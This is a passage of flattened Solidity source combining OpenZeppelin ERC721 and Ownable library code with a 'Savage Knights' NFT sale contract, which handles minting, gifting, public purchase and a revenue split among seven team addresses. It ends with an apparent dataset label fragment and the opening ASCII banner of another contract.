* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length)
internal
pure
returns (string memory)
{
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner)
public
view
virtual
override
returns (uint256)
{
require(
owner != address(0),
"ERC721: balance query for the zero address"
);
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId)
public
view
virtual
override
returns (address)
{
address owner = _owners[tokenId];
require(
owner != address(0),
"ERC721: owner query for nonexistent token"
);
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId)
public
view
virtual
override
returns (address)
{
require(
_exists(tokenId),
"ERC721: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
virtual
returns (bool)
{
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
address owner = ERC721.ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(
ERC721.ownerOf(tokenId) == from,
"ERC721: transfer of token that is not own"
);
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(
_msgSender(),
from,
tokenId,
_data
)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert(
"ERC721: transfer to non ERC721Receiver implementer"
);
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(IERC165, ERC721)
returns (bool)
{
return
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
virtual
override
returns (uint256)
{
require(
index < ERC721.balanceOf(owner),
"ERC721Enumerable: owner index out of bounds"
);
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index)
public
view
virtual
override
returns (uint256)
{
require(
index < ERC721Enumerable.totalSupply(),
"ERC721Enumerable: global index out of bounds"
);
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId)
private
{
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
pragma solidity ^0.8.4;
/*
███████ █████ ██ ██ █████ ██████ ███████ ██ ██ ███ ██ ██ ██████ ██ ██ ████████ ███████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ ██
███████ ███████ ██ ██ ███████ ██ ███ █████ █████ ██ ██ ██ ██ ██ ███ ███████ ██ ███████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
███████ ██ ██ ████ ██ ██ ██████ ███████ ██ ██ ██ ████ ██ ██████ ██ ██ ██ ███████
By Devko.dev#7286
*/
contract SavageKnights is ERC721Enumerable, Ownable {
using Strings for uint256;
uint256 public constant SVK_MAX = 4762;
uint256 public constant SVK_PRICE = 0.075 ether;
uint256 public constant SVK_PER_PUBLIC_MINT = 9;
string private _tokenBaseURI = "https://api.savageknights.io/api/token/";
address private member1 = 0xb31946C1F3c35B480b8C58AA8FECaE6B25cD1FD1;
address private member2 = 0x3eF3D96C7312632eCBcdf1c6D63F3494bEC18e81;
address private member3 = 0x09F304a8Bd1D0142Fe2AC4b671701251168c5F92;
address private member4 = 0x0000003f9A1FBB7348f3a4BF96BbBE68b6dEafcD;
address private member5 = 0x9E3E2D3B0F06C008e76f7d9c480d4E2D52357052;
address private member6 = 0x63E231251d76f8890D868b719272b7A7e863065e;
address private member7 = 0x398eA45f0d8F986d009Bf6b65357BB97BC26fCc5;
bool public saleLive;
bool public locked;
constructor() ERC721("Savage Knights", "SVK") {}
modifier notLocked {
require(!locked, "Contract metadata methods are locked");
_;
}
function founderMint(uint256 tokenQuantity) external onlyOwner {
require(totalSupply() + tokenQuantity <= SVK_MAX, "EXCEED_MAX");
for(uint256 i = 0; i < tokenQuantity; i++) {
_safeMint(msg.sender, totalSupply() + 1);
}
}
function gift(address[] calldata receivers) external onlyOwner {
require(totalSupply() + receivers.length <= SVK_MAX, "EXCEED_MAX");
for (uint256 i = 0; i < receivers.length; i++) {
_safeMint(receivers[i], totalSupply() + 1);
}
}
function buy(uint256 tokenQuantity) external payable {
require(saleLive, "SALE_CLOSED");
require(totalSupply() + tokenQuantity <= SVK_MAX, "EXCEED_MAX");
require(tokenQuantity <= SVK_PER_PUBLIC_MINT, "EXCEED_SVK_PER_PUBLIC_MINT");
require(SVK_PRICE * tokenQuantity <= msg.value, "INSUFFICIENT_ETH");
for(uint256 i = 0; i < tokenQuantity; i++) {
_safeMint(msg.sender, totalSupply() + 1);
}
}
function withdraw() external {
uint256 currentBalance = address(this).balance;
payable(member1).transfer(currentBalance * 20 / 100);
payable(member2).transfer(currentBalance * 20 / 100);
payable(member3).transfer(currentBalance * 20 / 100);
payable(member4).transfer(currentBalance * 5 / 100);
payable(member5).transfer(currentBalance * 5 / 100);
payable(member6).transfer(currentBalance * 5 / 100);
payable(member7).transfer(address(this).balance);
}
function lockMetadata() external onlyOwner {
locked = true;
}
function toggleSaleStatus() external onlyOwner {
saleLive = !saleLive;
}
function setBaseURI(string calldata URI) external onlyOwner notLocked {
_tokenBaseURI = URI;
}
function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) {
require(_exists(tokenId), "Cannot query non-existent token");
return string(abi.encodePacked(_tokenBaseURI, tokenId.toString()));
}
} | True | [
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/*
OOOOOOOOO NNNNNNNN NNNNNNNNIIIIIIIIIITTTTTTTTTTTTTTTTTTTTTTT
OO:::::::::OO N:::::::N N::::::NI::::::::IT:::::::::::::::::::::T
OO:::::::::::::OO N::::::::N N::::::NI::::::::IT:::::::::::::::::::::T
O:::::::OOO:::::::ON:::::::::N N::::::NII::::::IIT:::::TT:::::::TT:::::T
O::::::O O::::::ON::::::::::N N::::::N I::::I TTTTTT T:::::T TTTTTT
O:::::O O:::::ON:::::::::::N N::::::N I::::I T:::::T
O:::::O O:::::ON:::::::N::::N N::::::N I::::I T:::::T
O:::::O O:::::ON::::::N N::::N N::::::N I::::I T:::::T
O:::::O O:::::ON::::::N N::::N:::::::N I::::I T:::::T
O:::::O O:::::ON::::::N N:::::::::::N I::::I T:::::T
O:::::O O:::::ON::::::N N::::::::::N I::::I T:::::T
O::::::O O::::::ON::::::N N:::::::::N I::::I T:::::T
O:::::::OOO:::::::ON::::::N N::::::::NII::::::II TT:::::::TT
OO:::::::::::::OO N::::::N N:::::::NI::::::::I T:::::::::T
OO:::::::::OO N::::::N N::::::NI::::::::I T:::::::::T
